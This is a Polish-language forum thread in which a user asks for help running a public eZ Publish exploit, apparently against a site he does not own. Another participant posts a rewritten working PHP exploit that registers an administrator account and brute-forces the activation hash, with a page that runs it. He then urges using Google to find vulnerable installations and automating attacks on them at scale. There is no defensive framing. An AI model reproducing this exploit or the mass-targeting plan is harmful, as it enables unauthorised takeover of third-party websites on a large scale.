pomoc w wykorzystaniu gotowego exploitu.

panczo12d

Użytkownik
Dołączył
Styczeń 22, 2011
Posty
61
Witam. Czy ktoś z ogarniętych userów pomoże mi rozwiązać problemy, na które natykam się podczas próby zaaplikowania gotowego exploita z sieci? Jakich komend, narzędzi muszę użyć przed uruchomieniem tego?

w komentarzach do exploita można przeczytać:
usage:
# ./eZPublish_create_admin_exploit.php -u=username -p=password -s=EZPublish_server [ -e=email -t=timestamp ]
wydaje mi się że powinno się wykonywać to jako skrypt w php czyli
Kod:
php nazwapliku.php -parametr1=costam -parametr2=costam itp.
a nie jako bash
./plik.rozszerzenie -parametr1=costam -parametr2=costam itp.
czyli czy w komentarzu jest błąd?
dalej dostaję Notice od PHP w związu z tablicą $ARG która coś tam ... stałe. - czy to wpływa jakoś na działanie exploita?
w końcu otrzymuję critical error w związku z tym że użyte w explicie http requesty nie są standardem w php i brakuje mi chyba jakiś bibliotek.

exploit do pobrania tutaj: http://www.exploit-db.com/exploits/7473/

Z góry dziękuję za każdą pomoc.

PS. Exploita próbuję zaaplikować na ubuntu live cd.
 

panczo12d

Użytkownik
Dołączył
Styczeń 22, 2011
Posty
61
konradmgmg ale dzieci tego pokolenia posiadają wyjątkowo niską wiedzę.

odświeżam swoją prośbę.
 

Adrian Stolarski

Użytkownik
Dołączył
Wrzesień 20, 2013
Posty
17
Dobrze że eksploity są pisane tak, żeby nikt niekumaty nie umiał użyć ...
Z tego co widzę ten kod wymaga 4 przeróbek i może zadziała. Może zamiast ściągać coś z sieci nauczyć się jak ów PHP działa? Ale sobie to jeszcze sprawdze potem ...
Jak będę miał chwilę to go może przepiszę, jak powinien być napisany, ok?
 

Adrian Stolarski

Użytkownik
Dołączył
Wrzesień 20, 2013
Posty
17
http://www.php.net/manual/en/http.install.php - zainstaluj to czego potrzebujesz
Kod klasy powinien działać:
<?php
class EzExploit {

public $email;
public $host;
public $user;
public $password;
public $time;

public $postFields = array();

public function __construct($host, $email, $user, $password, $time){
$this->email = $email;
$this->host = $host;
$this->user = $user;
$this->password = $password;
$this->time = $time;
}

public function exploit(){

$this->postFields = array(
'ContentObjectAttribute_data_user_login_30' => $this->user,
'ContentObjectAttribute_data_user_password_30' => $this->password,
'ContentObjectAttribute_data_user_password_confirm_30' => $this->password,
'ContentObjectAttribute_data_user_email_30' => $this->email,
'UserID' => '14',
'PublishButton' => '1'
);

$headers = array(
'User-Agent' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14',
'Referer' => $this->host
);
$res_http = new HttpRequest($this->server."/user/register", HttpRequest::METH_POST);
$res_http->addPostFields($this->postFileds);
$res_http->addHeaders($headers);
try {
if ($this->time) { $time = $this->time; } else { $time = mktime( ); }
$response = $res_http->send()->getBody();

if (eregi("success", $response) || eregi("Fatal error", $response))
{
print "[+] Phase 1 successfully finished\n";
print "[+] Use timestamp: $time\n";
print "[+] Begin bruteforce...\n";

for ($i = $time; $i<$time+100; $i++)
{
print ".";
$hash = md5( $i . "14" );
$res_http = new HttpRequest($this->host."/user/activate/".$hash, HttpRequest::METH_GET);
$res_http->addHeaders($headers);
try {
$response = $res_http->send()->getBody();

if (eregi("Your account is now activated", $response))
{
successfully($this->user, $this->password);
exit(1);
}


} catch (HttpException $exception) {
print "\n[-] Not connected";
exit(0);
}
}
print "\n[-] Exploit failed";
}
else
{
print "[-] Exploit failed";
}

} catch (HttpException $exception) {

print "[-] Not connected";
exit(0);

}

}
}
?>
Wykorzystanie:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<title>bez nazwy</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8" />
<meta name="generator" content="Geany 1.22" />
</head>

<body>
<?php
if(file_exists("ezPublish.php")){
require_once "ezPublish.php";
$ezPublish = new EzExploit("localhost", "[email protected]", "user", "password", null);
$ezPublish->exploit();
}
else {
}
?>
</body>

</html>

Ps. jak zainstalujesz tamto, co masz na początku to ten pierwszy też Ci zadziała wsio ;)


Dziękuję Ci bardzo :) Czekam z niecierpliwością.
Pozdrawiam.
 

panczo12d

Użytkownik
Dołączył
Styczeń 22, 2011
Posty
61
dzięki, z trudem udało mi się jakoś zainstalować tą bibliotekę do php, instalując przy tym z 1000 innych niepotrzebnych ;/
ale w końcu i tak wywala mi exploit fails więc storna pewnie nie jest podatna. nie mam siły się już tym bawić.
a tak apropo to ten skrypt powinno się uruchamiać przez php nazwapliku.php a nie jak jest napisane przez ./nazwapliku.php tak?
 

Adrian Stolarski

Użytkownik
Dołączył
Wrzesień 20, 2013
Posty
17
Tak.
Ps. to przesuzkaj google na te wersje exPublish i jazda ;) napsiz skrypt do google api co ci z automatu bedzie ładował eksploita i sprawdzał wynik i jakis zapis do pliku :)
pomyśl, 2 miliony powiedzmy instancji dziurawych ezPublish, atak na wszystkie, jakieś 15-60 tysiecy będzie pdoatne.
Atak musi być skalowalny ;) Masz najlepszy tool hakerski o nazwie google, troche nauki programowania i podłączaj sobie rzecy do API, ale jak coś znajdziesz, to wyślij maila adminkowi, żeby był happy.
Intruz myśli tak: atak ma być skalowalny. Najmniejszym kosztem mam osiągnąć jak najwyższy wynik....
Pozdro :)
dzięki, z trudem udało mi się jakoś zainstalować tą bibliotekę do php, instalując przy tym z 1000 innych niepotrzebnych ;/
ale w końcu i tak wywala mi exploit fails więc storna pewnie nie jest podatna. nie mam siły się już tym bawić.
a tak apropo to ten skrypt powinno się uruchamiać przez php nazwapliku.php a nie jak jest napisane przez ./nazwapliku.php tak?
 
Do góry Bottom